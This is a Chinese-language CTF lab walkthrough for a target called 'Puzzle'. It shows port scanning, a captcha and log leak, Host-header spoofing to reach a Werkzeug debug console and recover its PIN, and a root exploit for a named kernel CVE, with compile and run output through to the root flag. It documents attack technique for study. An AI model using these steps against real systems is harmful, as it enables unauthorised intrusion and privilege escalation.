

Puzzle

端口探测

SHELL

```
(root@kali)-[~]
└─# nmap -n -Pn -sVC -p- --min-rate 5000 192.168.56.122
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-18 08:20 -0400
Nmap scan report for 192.168.56.122
Host is up (0.000096s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.3 (protocol 2.0)
80/tcp    open  http      Apache httpd 2.4.68 ((Unix))
|_http-server-header: Apache/2.4.68 (Unix)
|_http-methods:
|_ Potentially risky methods: TRACE
|_http-title: It works! Apache httpd
5236/tcp  open  http      Werkzeug httpd 3.1.8 (Python 3.14.5)
|_http-title: Authentication
|_http-server-header: Werkzeug/3.1.8 Python/3.14.5
MAC Address: 08:00:27:29:CE:5E (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.55 seconds
```

SHELL

```
(root@kali)-[~]
└─# dirsearch -u http://192.168.56.122
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is
deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _ _ _ _  _  v0.4.3
  (_||| _ ) (/ _ (| _ )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /root/reports/http_192.168.56.122/_26-09-18_08-22-03.txt

Target: http://192.168.56.122/

[08:22:03] Starting:
...
[08:22:08] 200 - 820B - /cgi-bin/printenv
[08:22:08] 200 - 1KB - /cgi-bin/test-cgi
...
```

5236

5236 上是一个Werkzeug服务，是个登录页，需要验证码，不过这个验证码：

```
(root@kali)-[~]
└─# curl -I 'http://192.168.56.122:5236/captcha?w=160&h=60&t=1789734332555'
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.14.5
Date: Fri, 18 Sep 2026 12:35:23 GMT
Content-Type: image/png
Content-Length: 5212
Cache-Control: no-cache, no-store, must-revalidate
Vary: Cookie
Set-Cookie: session=eyJjYXB0Y2hhIjoic2twMyJ9.aq0wCw.ETwegd72PreQMUECbNQTTjODPLY; HttpOnly; Path=/; SameSite=Lax
Connection: close
```

直接将验证码内容返回在了jwt中，而且验证码的校验只根据我们的cookie来，于是我们就能写个脚本，使用固定的cookie来爆破密码。后面发现爆不出来就放弃而来。

日志泄露

这个校验码还有一个bug，当填的宽高过大使，他就会报错并返回日志：

```
http://192.168.56.122:5236/captcha?w=99999&h=99999
```

Werkzeug debug

探索发现 `/?__debugger__=yes&cmd=resource&f=style.css` 能够返回文件内容，这说明Werkzeug debug是开着的，之前 `/console` 访问不上应该是host校验，伪造host即可：

```

└─(root@kali)-[~]
└─# curl -H "Host: localhost:5236" http://192.168.56.122:5236/console
<!doctype html>
<html lang=en>
  <head>
    <title>Console // Werkzeug Debugger</title>
    <link rel="stylesheet" href="__debugger__=yes&cmd=resource&f=style.css">
    <link rel="shortcut icon"
      href="__debugger__=yes&cmd=resource&f=console.png">
    <script src="__debugger__=yes&cmd=resource&f=debugger.js"></script>
    <script>
      var CONSOLE_MODE = true,
          EVALEX = true,
          EVALEX_TRUSTED = false,
          SECRET = "zxL7C9s3Too6PAgEJVHr";
    </script>
  </head>
  <body style="background-color: #fff">
    <div class="debugger">
<h1>Interactive Console</h1>
<div class="explanation">
  In this console you can execute Python expressions in the context of the
  application. The initial namespace was created by the debugger automatically.
</div>
<div class="console"><div class="inner">The Console requires JavaScript.</div></div>
  <div class="footer">
    Brought to you by <strong class="arthur">DON'T PANIC</strong>, your
    friendly Werkzeug powered traceback interpreter.
  </div>
</div>

  <div class="pin-prompt">
    <div class="inner">
      <h3>Console Locked</h3>
      <p>
        The console is locked and needs to be unlocked by entering the PIN.
        You can find the PIN printed out on the standard output of your
        shell that runs the server.
      </p>
      <form>
        <p>PIN:</p>
        <input type="text" name="pin" size=14>
        <input type="submit" name="btn" value="Confirm Pin">
      </form>
    </div>
  </div>
</body>
</html>

```

这里直接泄露了 `SECRET = "zxL7C9s3Too6PAgEJVHr"`，我们利用host伪造+这个密钥，再加上之前的日志泄露，就能得到PIN码：

```
(root@kali)-[~]
└─# curl -H "Host: localhost:5236" 'http://192.168.56.122:5236/?
__debugger__=yes&cmd=printpin&s=zxL7C9s3Too6PAgEJVHr'

(root@kali)-[~]
└─# curl "http://192.168.56.122:5236/captcha?w=9999&h=9999"
```

日志里出现：

```
* To enable the debugger you need to enter the security pin:
* Debugger pin code: 590-119-870
```

有了这些信息，我们就能得到shell了。

浏览器代理上bp，加个 **proxy**，**Match and Replace**：

TXT

```
- Type: Request header
- Match: `Host: 192.168.56.122:5236`
- Replace: `Host: localhost:5236`
```

这样我们就能直接访问上 **/console**，直接输入pin码：**590-119-870** 就能得到python repl了。

提权

起一个 **linpeas**，看到这个系统被 **CVE-2026-46331 packet_edit_meme** 影响，用现成的 **exp** 打就行了

靶机上没有 **gcc** 或 **make**，在kali上编译好传上去：

SHELL

```
(root@kali)-[~/CVE-2026-46331]
└─# make
cc -O2 -Wall -static -c packet_edit_meme.c -o packet_edit_meme.o
cc -O2 -Wall -static -c pedit_primitive.c -o pedit_primitive.o
cc -O2 -Wall -static packet_edit_meme.o pedit_primitive.o -o packet_edit_meme
```

SHELL

```
Puzzle:~$ chmod +x ./packet_edit_meme
Puzzle:~$ ./packet_edit_meme
[*] target /bin/umount as uid 1000; shellcode at 0x1c8, jmp at 0x28, e_entry → 0x28
[d] shellcode chunk: offset=0x1c8 size=36 (0/68)
[d] shellcode chunk: offset=0x1ec size=32 (36/68)
[d] phdr[2] p_flags at 0xb4 set to 5
[d] e_entry = 0x28 (expected 0x28)
[d] jmp bytes at 0x28: e9 9b 01 00 00
[d] first 8 shellcode bytes at 0x1C8: 31 ff b8 6a 00 00 00 0f
[d] phdr[2] now has PF_X (flags=5)
[+] entry overwritten; exec'ing /bin/umount → interactive root shell
/home/stardust # id
uid=0(root) gid=0(root) groups=1000(stardust)
/home/stardust # cat /root/root.txt
flag[root-676ee9b99c02ac1ca35120af62af9ffa}
```